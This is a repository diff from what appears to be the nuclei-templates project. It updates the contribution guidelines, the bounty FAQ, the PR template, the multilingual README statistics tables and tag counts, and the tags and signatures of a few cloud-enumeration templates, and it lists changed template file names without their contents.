http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
http/vulnerabilities/wp-functions-php-disclosure.yaml
http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
headless/cves/2025/CVE-2025-50738.yaml
http/cves/2019/CVE-2019-7195.yaml
http/cves/2020/CVE-2020-36836.yaml
http/cves/2024/CVE-2024-11972.yaml
http/cves/2024/CVE-2024-29028.yaml
http/cves/2024/CVE-2024-29029.yaml
http/cves/2024/CVE-2024-51568.yaml
http/cves/2025/CVE-2025-23061.yaml
http/cves/2025/CVE-2025-3515.yaml
http/cves/2025/CVE-2025-53118.yaml
http/cves/2025/CVE-2025-57822.yaml
http/exposures/configs/n8n-config.yaml
http/global-matchers/global-waf-detect.yaml
http/misconfiguration/missing-cookie-samesite-strict.yaml
http/takeovers/framer-takeover.yaml
http/technologies/dkron-detect.yaml
http/technologies/hugegraph-studio-detect.yaml
http/vulnerabilities/other/dkron-unauth-rce.yaml
javascript/detection/pigeonhole-sieve-detect.yaml
javascript/misconfiguration/netstat-service-expose.yaml
javascript/udp/detection/zeroconf-detect.yaml
javascript/udp/misconfiguration/snmpv1-community-detect-string.yaml
network/detection/direct-connect-detect.yaml
network/detection/ftp-detect.yaml
network/detection/sap-dispatcher-detect.yaml
network/detection/sap-router-detect.yaml
vulnerabilities/iot/hikvision/hikvision-cam-info-exposure.yaml
workflows/ftp-workflow.yaml
+1 -1
View File
@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
Along with the P.O.C following are the required fields in the info section for submitting new template.
@@ -1,6 +1,6 @@
# Nuclei Templates Bounty - FAQ
# Nuclei Templates Community Rewards Program - FAQ
## What is the purpose of this bounty program?
## What is the purpose of this rewards program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
@@ -10,17 +10,12 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
2. **Debug Data**: Include debug data to assist with template validation.
3. **Validation Required**: The template will be reviewed and validated before rewards are given.
4. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -70,7 +65,7 @@ Templates may be rejected if they:
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
The rewards program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
+8 -8
View File
@@ -1,4 +1,4 @@
### PR Information
### Template / PR Information
<!-- Explains the information and/or motivation for update or/ creating this templates -->
<!-- Please include any reference to your template if available -->
@@ -6,17 +6,17 @@
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
- References:
### Template validation
### Template Validation
<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
I've validated this template locally?
- [ ] YES
- [ ] NO
- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
#### Additional Details (leave it blank if not applicable)
<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
<!-- Please do NOT include vulnerable host information in pull requests -->
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
@@ -25,4 +25,4 @@
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+12 -26
View File
@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
**873 directories, 11997 files**.
**848 directories, 11344 files**.
</td>
</tr>
+13 -27
View File
@@ -42,38 +42,24 @@ Nuclei 模板
<table>
<tr>
<td>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
## Nuclei Templates Top 10 statistics
## Nuclei模板TOP10统计信息
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 2877 | dhiyaneshdk | 1477 | http | 8219 | info | 3948 | file | 404 |
| panel | 1246 | daffainfo | 866 | file | 404 | high | 2135 | dns | 25 |
| wordpress | 1072 | dwisiswant0 | 803 | cloud | 370 | medium | 1840 | | |
| exposure | 1006 | princechaddha | 570 | workflows | 192 | critical | 1197 | | |
| xss | 987 | ritikchaddha | 496 | code | 157 | low | 287 | | |
| wp-plugin | 936 | pussycat0x | 453 | network | 138 | unknown | 43 | | |
| osint | 807 | pikpikcu | 353 | javascript | 65 | | | | |
| tech | 745 | pdteam | 302 | ssl | 30 | | | | |
| lfi | 727 | ricardomaia | 245 | dast | 26 | | | | |
| misconfig | 720 | geeknik | 231 | dns | 22 | | | | |
**873 directories, 11997 files**.
**743 directories, 9960 files**.
</td>
</tr>
+15 -29
View File
@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
<table>
<tr>
<td>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
## Nuclei テンプレート トップ10統計
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| タグ | 数 | 著者 | 数 | ディレクトリ | 数 | 重大度 | 数 | 種類 | 数 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286個のディレクトリ、4012個のファイル**。
</td>
</tr>
+15 -29
View File
@@ -39,38 +39,24 @@ Nuclei 템플릿
<table>
<tr>
<td>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
## Nuclei 템플릿 통계 Top 10
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| 태그 | 개수 | 작성자 | 개수 | 디렉토리 | 개수 | 심각도 | 개수 | 종류 | 개수 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286개 디렉토리, 4012개 파일**.
</td>
</tr>
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
+6948 -7153
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 3330 | dhiyaneshdk | 1871 | http | 9035 | info | 4236 | file | 436 |
| panel | 1349 | daffainfo | 868 | cloud | 657 | high | 2486 | dns | 26 |
| xss | 1249 | princechaddha | 854 | file | 436 | medium | 2387 | | |
| wordpress | 1189 | dwisiswant0 | 806 | code | 249 | critical | 1444 | | |
| exposure | 1114 | ritikchaddha | 658 | dast | 238 | low | 322 | | |
| wp-plugin | 1038 | pussycat0x | 546 | workflows | 203 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 151 | | | | |
| tech | 811 | pdteam | 310 | javascript | 78 | | | | |
| rce | 796 | pdresearch | 271 | ssl | 38 | | | | |
| lfi | 779 | iamnoooob | 259 | dns | 23 | | | | |
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -38,4 +38,4 @@ http:
name: "Protected AWS S3 Bucket"
status:
- 403
# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,azure,dns,discovery
tags: cloud,enum,cloud-enum,azure,dns
self-contained: true
@@ -29,4 +29,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
